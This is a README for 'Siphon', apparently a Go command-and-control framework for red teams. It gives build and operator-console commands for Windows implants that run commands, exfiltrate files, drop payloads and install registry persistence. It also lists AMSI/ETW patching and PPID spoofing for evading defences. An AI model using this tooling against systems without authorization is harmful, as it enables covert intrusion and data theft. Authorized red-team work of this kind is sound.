Lightweight C2 framework with per-session forward secrecy.
ECDH P-256 key exchange, AES-256-GCM authenticated encryption, and uTLS Chrome fingerprinting over HTTPS beacon transport. Server public key embedded at build time — zero config files on disk.
Authorization Required: Designed exclusively for authorized red team engagements with explicit written permission.
Features · Quick Start · Usage · Architecture · Security
Ephemeral P-256 key exchange per session. Server public key embedded at build time via ldflags. Shared secrets zeroed after derivation.
make implant SERVER_PK=04a1b2... C2_HOST=https://10.0.0.5:443 SLEEP_SEC=10Authenticated encryption for all payloads. Unique nonce per message. HMAC-SHA256 covers the full envelope: ID, PubKey, Nonce, Ciphertext.
Chrome JA3 fingerprint via HelloChrome_Auto. Cookie-based beacon transport blends with normal HTTPS traffic on standard endpoints.
Interactive CLI with Catppuccin Mocha palette. Prefix-match implant selection, task queuing, and live result display.
siphon> implants
siphon> interact abc123
siphon(abc123)> cmd whoami
siphon(abc123)> upload C:\secrets.db
siphon(abc123)> persist registry
siphon(abc123)> selfdestructCross-compile Windows implants from Linux. Server public key, C2 host, sleep interval, auth token, kill date, and custom endpoints configured via build variables. Stripped with -s -w -trimpath.
make implant SERVER_PK=<hex> C2_HOST=https://c2:443 SLEEP_SEC=10 AUTH_TOKEN=secretPrerequisites: Go 1.24+, Make
git clone https://github.com/Real-Fruit-Snacks/Siphon.git
cd Siphon
# Generate ECDH keypair + TLS certificate
make setup
# Build C2 server (Linux, stripped)
make server
# Build implant (Windows cross-compiled)
make implant SERVER_PK=<hex> C2_HOST=https://your-c2:443 SLEEP_SEC=10./build/siphon-server \
-listen :443 \
-cert server/certs/server.crt \
-key server/certs/server.key \
-auth secret-tokensiphon> implants # list checked-in implants
siphon> interact abc123 # select by prefix match
siphon(abc123)> cmd whoami # execute a command
siphon(abc123)> upload C:\secrets.db # exfiltrate a file
siphon(abc123)> download payload.exe C:\Temp\svc.exe
siphon(abc123)> sleep 30 # change beacon interval
siphon(abc123)> persist registry # install persistence
siphon(abc123)> selfdestruct # remove the implantmake setup # Generate ECDH keypair + TLS certificate
make server # Build C2 server (Linux amd64, stripped)
make implant # Build implant (Windows amd64, cross-compiled)
make implant-linux # Build implant (Linux amd64, for testing)
make clean # Remove build artifacts and generated keysshared/types.go Protocol types: Beacon, Task, TaskResult, Envelope
server/
crypto.go ECDH key exchange and AES-256-GCM
handlers.go HTTP handlers for beacon and submit
cli.go Interactive operator console
cmd/main.go Server entry point; TLS cert generation
implant/
main.go Entry point with exponential backoff
comms.go ECDH key exchange and AES-256-GCM
transport.go HTTPS client with uTLS Chrome fingerprint
tasks.go Task dispatcher: cmd, upload, download, sleep, persist
evasion_windows.go PPID spoofing, CREATE_NO_WINDOW
patches_windows.go ETW and AMSI patching
Makefile Build system with ldflags configuration
Implant ── HTTPS GET /api/news (beacon) ──▶ Server ──▶ Task Queue
Implant ◀── Encrypted Task (AES-256-GCM) ◀── Server
Implant ── HTTPS POST /api/submit (result) ──▶ Server ──▶ Loot Storage
1. Implant generates ephemeral ECDH P-256 keypair
2. Derives shared secret using server's embedded public key
3. Shared secret → AES-256-GCM key
4. All payloads encrypted with unique nonce per message
5. HMAC-SHA256 covers envelope: ID + PubKey + Nonce + Ciphertext
6. Shared secret zeroed after key derivation
| Capability | Linux (Server) | Windows (Implant) | Linux (Implant) |
|---|---|---|---|
| HTTPS Beacon | Full | Full | Full |
| ECDH + AES-GCM | Full | Full | Full |
| uTLS Fingerprint | N/A | Full | Full |
| Command Execution | N/A | cmd.exe + PPID spoof |
/bin/sh |
| ETW Patching | N/A | Full | Stub |
| AMSI Patching | N/A | Full | Stub |
| PPID Spoofing | N/A | Full | Not supported |
| Persistence | N/A | Registry, schtask, startup | Stub |
| Self-Destruct | N/A | Full | Stub |
Report vulnerabilities via GitHub Security Advisories. 90-day responsible disclosure.
| Property | Implementation |
|---|---|
| Forward secrecy | Ephemeral ECDH P-256 per session |
| Payload encryption | AES-256-GCM authenticated encryption |
| Key distribution | Server public key embedded via ldflags |
| Message auth | HMAC-SHA256 pre-shared token |
| Loot encryption | AES-256-GCM at rest |
| Path traversal | filepath.Base() sanitization |
| Binary hardening | -s -w -trimpath |
| TLS fingerprint | uTLS Chrome JA3 |
Siphon does not: harvest credentials, move laterally, escalate privileges, evade kernel-level EDR, destroy event logs, or generate payloads.
MIT — Copyright 2026 Real-Fruit-Snacks